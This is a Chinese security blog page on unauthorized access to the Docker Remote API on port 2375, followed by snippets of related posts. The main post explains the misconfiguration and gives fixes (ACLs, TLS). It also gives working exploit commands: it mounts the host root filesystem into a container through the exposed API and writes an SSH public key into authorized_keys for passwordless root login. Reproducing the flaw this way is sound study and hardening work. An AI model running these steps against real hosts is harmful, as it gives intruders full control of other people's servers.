Docker Remote API未授权访问

Docker未授权漏洞复现(合天网安实验室) 阅读详情
0x00 漏洞原因
    dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

    docker守护进程监听在0.0.0.0,外网可访问

    没有使用iptables等限制可连接的来源ip
0x01 漏洞利用

1.远程对被攻击的主机的docker容器进行操作

docker -H tcp://remoteip:2375 images

远程启动被攻击主机的docker容器.并挂在宿主机的目录,通过容器修改宿主机的authrized_keys文件,写入公钥.

docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash

0x02 演示步骤

ssh-keygen 生成公钥文件

docker -H tcp://remoteip:2375 images 查看镜像

docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash 启动一个容器并将宿主机根目录挂在到容器的mnt目录

mkdir .ssh 创建ssh目录

touch authorized_keys 创建文件

将公钥的文件写入authorized_keys

ssh root@remoteip 免密码登录宿主机

0x03 修复方法
    设置ACL, 只允许信任ip连接对应端口

    开启TLS,使用生成的证书进行认证

参考链接:https://blog.youkuaiyun.com/sethcss/article/details/73395617

漏洞复现 - - -Docker未授权访问漏洞 Docker未授权访问漏洞,docker未授权写定时任务获取shell,详细概述了通过docker获取shell的方法。 阅读详情

相关推荐

漏洞扫描-Docker Remote API 未授权访问漏洞利用

Docker提供了一个用于与Docker守护程序交互的API(称为 Docker 引擎 API)。Docker引擎API是一个RESTful API,可由HTTP客户端(如 wget 或 curl)或HTTP 库访问,HTTP库是大多数现代编程语言的一部分。在网址栏输入 目标主机IP:2375/containers/json可获取该主机的Docker容器信息。使用docker命令创建一个alpine容器,并将目标主机的磁盘挂载到容器中。Docker是一种执行操作系统级虚拟化的计算机程序,也称为"容器化"。

weixin_44041994的博客 991

Docker远程接口未授权访问漏洞解决方案之 Docker Remote API TLS 认证

Docker远程接口未授权访问漏洞解决方案之 Docker Remote API TLS 认证

myJavaHe的博客 3328

Docker Remote API未授权访问漏洞:从原理到实战攻防

容器技术通过封装应用及其依赖,实现了环境的一致性与快速部署,其核心在于客户端与守护进程的通信机制。Docker Remote API作为守护进程对外提供管理功能的接口,若配置不当暴露于网络且未启用认证,便会产生严重的安全漏洞。该漏洞的原理在于攻击者能够绕过认证直接与守护进程交互,其技术价值在于揭示了基础设施即代码环境中配置安全的重要性。攻击者可利用此漏洞进行容器信息窃取、部署恶意负载,并通过创建特权容器挂载宿主机目录实现容器逃逸,最终完全控制宿主机。在云原生和微服务架构广泛应用的今天,此类配置错误常出现在开

a1311010193的博客 480

Docker Remote Api未授权访问漏洞

一. 漏洞原因 dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375 docker守护进程监听在0.0.0.0,外网可访问 3, 没有使用iptables等限制可连接的来源ip二. 漏洞利用1.远程对被攻击的主机的docker容器进行操作docker -H tcp://remoteip:2375 images 远程启动被攻击主机的docker容

Seth为理想奋斗 3362

Docker Remote API未授权访问漏洞:从原理到加固的完整指南

容器技术通过资源隔离与进程封装,实现了应用环境的标准化交付。其核心原理依赖于守护进程(如Docker daemon)管理容器生命周期。在工程实践中,守护进程提供的Remote API极大便利了自动化运维与CI/CD流程。然而,若配置不当,该API会因默认缺失身份验证而暴露严重安全风险,即未授权访问漏洞。攻击者可借此执行任意容器命令,并通过挂载宿主机目录等操作实现权限提升,最终完全控制服务器。这一风险在内网横向移动与SSRF攻击场景下尤为突出。本文聚焦Docker 2375端口这一典型配置问题,深入剖析其成因

weixin_30522095的博客 427

[信号与系统]一阶与二阶连续时间系统和离散时间系统

定义:一阶连续时间系统由一阶线性常系数微分方程描述: dy(t)dt+ay(t)=bx(t) \frac{dy(t)}{dt} + a y(t) = b x(t) dtdy(t)​+ay(t)=bx(t)时间常数:时间常数 τ=1a\tau = \frac{1}{a}τ=a1​ 是系统响应速度的衡量指标。时间常数越小,系统响应越快。冲激响应:一阶系统的冲激响应是指数衰减或增长的形式。例如,对于一个单位冲激输入,响应为: h(t)=bae−at h(t) = \frac{b}{a} e^{-at} h(t)=

Andius的博客 2122

Docker Remote API未授权访问漏洞利用和防护

Docker remote API未授权漏洞,但是大多数文章都是只交如何控制了Docker之后,但仅仅只能控制了docker容器本文讨论的技术存在潜在法律风险。作者撰写此文目的仅为技术研究与知识分享,不构成任何操作建议。读者基于本文内容进行的任何行为及其后果,均由读者自行承担,作者及发布方不承担任何责任。

qq_59032809的博客 1289

Linux系统搭建OpenClaw(原Clawdbot)全流程指南 最新版

工具定位:开源个人 AI 助手,支持文件读取、命令执行、多渠道交互(Telegram / 本地终端等);系统要求:主流 Linux 发行版(Ubuntu/Debian/CentOS 等),Node.js ≥22(核心依赖);安全提示:OpenClaw 为测试版,具备高权限操作能力,建议使用非主力机,配置权限白名单,避免接触敏感数据。

AI时代老码农的第二春 6561

Docker Remote API未授权访问漏洞

步骤三:使用-H参数连接目标主机的docker,使用ps命令查询目标系统运行的镜像。步骤一:使用以下Fofa语句对Docker产品进行搜索。步骤二:直接使用浏览器访问以下路径。

weixin_71053667的博客 428

Win10+Anaconda环境下PaddleOCR保姆级安装指南(附常见报错解决方案)

本文提供Win10+Anaconda环境下PaddleOCR的保姆级安装指南,涵盖从环境配置到模型部署的全流程,特别针对常见报错提供解决方案。通过详细的步骤说明和实用技巧,帮助开发者快速完成PaddleOCR安装与测试,避免常见陷阱,提升OCR开发效率。

weixin_29096377的博客 376

告别Win11睡眠假死:深入解析Modern Standby S0与S3冲突及注册表修复方案

本文深入解析了Windows 11中Modern Standby(S0)与传统睡眠(S3)模式的冲突,该冲突是导致电脑睡眠后出现假死、断网等问题的根源。文章提供了通过修改注册表键值(PlatformAoAcOverride)强制启用稳定S3睡眠的终极修复方案,并附有详细诊断步骤与避坑指南,帮助用户彻底解决睡眠故障。

ol789012的博客 823

Docker_remote_api未授权访问漏洞

Docker_remote_api未授权访问漏洞 docker_remote_api简介: docker remote api主要的目的是取代命令行界面, docker client和docker daemon通过unix domain socket进行通信. 默认情况下,只有本机的root和docker组用户才能操作docker. 漏洞成因: dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375 docker守护进程监听在0.0.0.0,外网可

weixin_46564680的博客 2560

量化人必看|miniQMT踩坑记:回测太慢?一招教你把行情数据“搬回家”!

这篇文章主要聊的是。

奔跑的蜗牛 3479

docker remote api未授权访问漏洞批量扫描脚本

docker remote api未授权访问漏洞批量扫描脚本 # python3 # 5wimming import queue import threading import time import requests import json from docker import Client thread_lock = threading.Lock() out_result = [] # 输出列表 multi = 7 # 线程数量 queueSize = 10 # 申请队列空间大小,值一般略大于m

你和萤火虫有两个共同点,在我的眼里都会发光,同时,都已经很多年没见了 836

基于YOLOv11的气象目标检测系统:台风眼与钩状回波检测

气象目标检测是计算机视觉在气象领域的重要应用,对台风预警和强对流天气监测具有重要意义。本文详细介绍了一种基于YOLOv11的气象目标检测系统,能够有效识别卫星云图中的台风眼和雷达图中的钩状回波。系统包含完整的数据处理流程、模型训练策略以及用户友好的Web界面。我们使用了公开的气象数据集进行训练和验证,并提供了完整的实现代码。实验结果表明,本系统在气象目标检测任务中达到了较高的准确率和实用性。关键词:气象目标检测;YOLOv11;台风眼检测;钩状回波;深度学习;计算机视觉台风眼检测数据集。

YOLO 474

【OpenClaw从入门到精通】第15篇:国产芯片适配实战——昇腾/龙芯/天数智芯全流程跑通(2026实测版)

2026年国产芯片AI适配迎来爆发期,OpenClaw作为轻量化本地AI智能体,已实现华为昇腾、龙芯、天数智芯等主流国产平台的全流程适配。本文基于实测数据,从背景解析、核心原理、算法优化、实操部署四个维度,详细讲解OpenClaw在香橙派昇腾开发板、龙芯3B6000M、天数彤央TY1200及联想开天X7h的部署流程,同时提供统一工具玄武CLI的使用指南。文中包含完整代码、执行结果、避坑技巧及虚拟实战案例,兼顾新手入门与进阶提升,帮助读者快速掌握国产芯片上的本地AI部署能力,实现数据隐私保护与低成本AI落地。

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 1008

Docker Remote API 未授权访问

简介 docker 在使用集群管理(如:Kubernetes,swarm)时,要使用remote api对节点进行管理。remote api无认证时的默认端口是2375(需要TLS认证默认登录是2376)。 remote api默认是可以不需要认证能直接访问,能直接对docker进行操作,如新建容器,删除容器,查看镜像容器信息等操作。 remote api操作方法可以参考:docker官方文档...

Fly_鹏程万里 1875

智能制造——解读AI+工业设备预测性维护解决方案【附全文阅读】

摘要:本方案面向设备密集型制造企业,提供基于AI的预测性维护解决方案。通过工业物联网、大数据和AI算法,整合传感器数据与专家知识库,构建异常检测、故障诊断等模型,实现设备台账管理、智能点检等核心功能。方案配套软硬件工具矩阵,已在锂电子等行业落地应用,可降低维护成本30%以上,减少非计划停机50%,助力企业智能化转型。

cdfunlove的博客 141

Docker 远程 API(Remote API)未授权访问漏洞入侵过程

当 Docker Daemon 监听在 TCP 端口(默认为 2375 或 2376)且未配置 TLS 认证或访问控制列表(ACL)时,攻击者可以直接通过 HTTP 请求与 Docker 守护进程交互,从而完全控制宿主机。由于 Docker API 拥有对守护进程的完全控制权,攻击者可以通过创建特权容器或挂载宿主机关键目录来实现逃逸,进而获得宿主机的 Root 权限。查看正在运行的容器:curl http://<target_ip>:2375/containers/json。4.权限获取与容器逃逸。

xia542046446的专栏 278

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

Docker Remote API未授权访问漏洞 *

修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。

starhei.zxy的博客 602

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

Kibana,Docker Remote Api,Kubernetes Api Server我未授权访问漏洞(附带修复方法)

⼀种很典型的MVC思想,模型持久层,视图层和控制层。⽽我们这章的主题Kibana担任视图层⻆⾊,拥有各种维度的查询和分析,并使⽤图形化的界⾯展示存放在Elasticsearch中的数据。攻击者⽆需认证即可访问到Docker数据,可能导致敏感信息泄露,⿊客也可以删除 Docker上的数据,直接访问宿主机上的敏感信息,或对敏感⽂件进⾏修改,最终完全控制服务器。Docker是⼀个开源的应⽤容器引擎,让开发者可以打包他们的应⽤以及依赖包到⼀个可移植的容器中,然后发布到任何流⾏的LINUX机器上,也可以实现虚拟化。

C233333235的博客 1232

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

docker remote api未授权访问_常见未授权访问漏洞总结

本文详细地介绍了常见未授权访问漏洞及其利用,具体漏洞列表如下:Jboss 未授权访问Jenkins 未授权访问ldap未授权访问Redis未授权访问elasticsearch未授权访问MenCache未授权访问Mongodb未授权访问Rsync未授权访问Zookeeper未授权访问Docker未授权访问1、Jboss未授权访问漏洞原因:在低版本中,默认可以访问Jboss web控制台(http:/...

weixin_39531582的博客 613

Docker Remote API未授权访问漏洞分析和利用

0x00 概述 最近提交了一些关于 docker remote api 未授权访问导致代码泄露、获取服务器root权限的漏洞,造成的影响都比较严重,比如 新姿势之获取果壳全站代码和多台机器root权限 新姿势之控制蜻蜓fm所有服务器 新姿势之获取百度机器root权限 因为之前关注这一块的人并不多,这个方法可以算是一个“新的姿势”,本文对漏洞产生的原因和利用过程进行

3569 1万+
上一篇: ElasticSearch未授权访问
下一篇: ZABBIX jsrpc SQL注入
Shannonnnn
博客等级 码龄10年 241粉丝 69原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值